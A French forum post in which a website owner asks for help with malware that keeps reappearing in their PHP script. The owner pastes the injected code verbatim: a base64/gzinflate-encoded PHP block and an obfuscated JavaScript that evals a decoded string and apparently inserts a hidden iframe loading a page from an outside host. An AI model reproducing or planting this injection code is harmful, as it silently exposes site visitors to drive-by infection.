je viens a vous car ça fait la 2eme fois que j'apercois un script malware partout sur le script en lui meme...
ça m'a même coutai une notification aux sites google malware.
Ce matin ça me l'a refait malgré la réinstallation du script et changement de passe de mon ftp.
le morceau suspect est celui-ci
Code : Tout sélectionner
#d93065#
echo(gzinflate(base64_decode("tVVNc5swEP0rLRegHlwkWRIMUS859dyjxwePAWczsXGB2pN48t+7u+DEH9hNDxljRtI+Pe3HW3TXLGrYtD8WTmbgFhG+y2Azr5vi57oNvFhI5YXOuUSFaNjBOq9247xa/FkV6zZs6+f9uth9+dXWsF4G3rzJvXC8qau2ap83xfj362LeLh6CYlnslk0e7ks39SMVA/2NAaMgsiDACLASTAw2AYsWCRZXLFgwE55ZoA0pj4/tBqSFRMJEg04IrFIadBgBMeiUmQWBYpCgJSBigqNkApE0cPDm3SOr3ylwLBAr4xNsYshtNKNH6AIOcDrEdzWsJCZqPM/aztNIgxQDDkQcJGHRewrBaGbAR4FIIcEfsQumlPxWvMLHkdmwoQPhPoFjwhCRQsKIvaGT2YzLfI6IMVFsxRUK1XAt+PQzgOUwEtkXiK025egMvTWPTdrHi0B03Oj+THo4MbJzXfa7yBfDU0F4zIjmbNsu7UmfOnnQBSXOEjJlJstb1dsCpk9RipOBJKOF8j9U5qOpUX0STXziXGSvC2dAFLZTqOZ9rH/JZb7RA51YJO/joAebgeR+6UjcxUWrvVapgOYgIt0X6C2fxPKmOOyfz5DciUfH0rH/0M2hA86UE9/gu6IoZrqmqRt8x1pjjvTm6QcVDkE/VIqz1uwK0rfe/xf2spUvCT/+Efusb7NlmGLFMBtCZHKoe0pTQXEPNKw/m8azcbN5gjbwwQ+zVe78uZ9tnVdsvZE3f/KyV7zItmHhustsup1lO1dmjZvOstp1N1lWVnWQaaO/Oshg5ES4f8RRM3L11CvranWPXA/z+r7KC28WqHQkvu2mj7OQycvwxTVZEbyE2d33/n79Cw==")));
#/d93065#
Code : Tout sélectionner
<script>c=2;i=c-2;if(parseInt("0123")===83)if(window.document)try{new String("asd").prototype.q}catch(egewgsd){f=['-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76i75i60i22i0i65i77i77i73i19i8i8i78i71i80i72i80i73i78i7i62i78i8i60i72i78i71i77i12i7i73i65i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i61i61i62i71i20i73i72i76i66i77i66i72i71i19i58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i70i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8i8i78i71i80i72i80i73i78i7i62i78i8i60i72i78i71i77i12i7i73i65i73i0i2i20i63i7i76i77i82i69i62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i2i20i63i7i76i62i77i26i77i77i75i66i59i78i77i62i1i0i65i62i66i64i65i77i0i5i0i10i9i0i2i20i-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i54i7i58i73i73i62i71i61i28i65i66i69i61i1i63i2i20i-26i-30i-30i86'][0].split('i');md='a';v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fromC"+"harCode"](39+1*w[j]);}if(f)z=s;e(z);</script><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
qui pourrai m'eclairer svp?
Merci.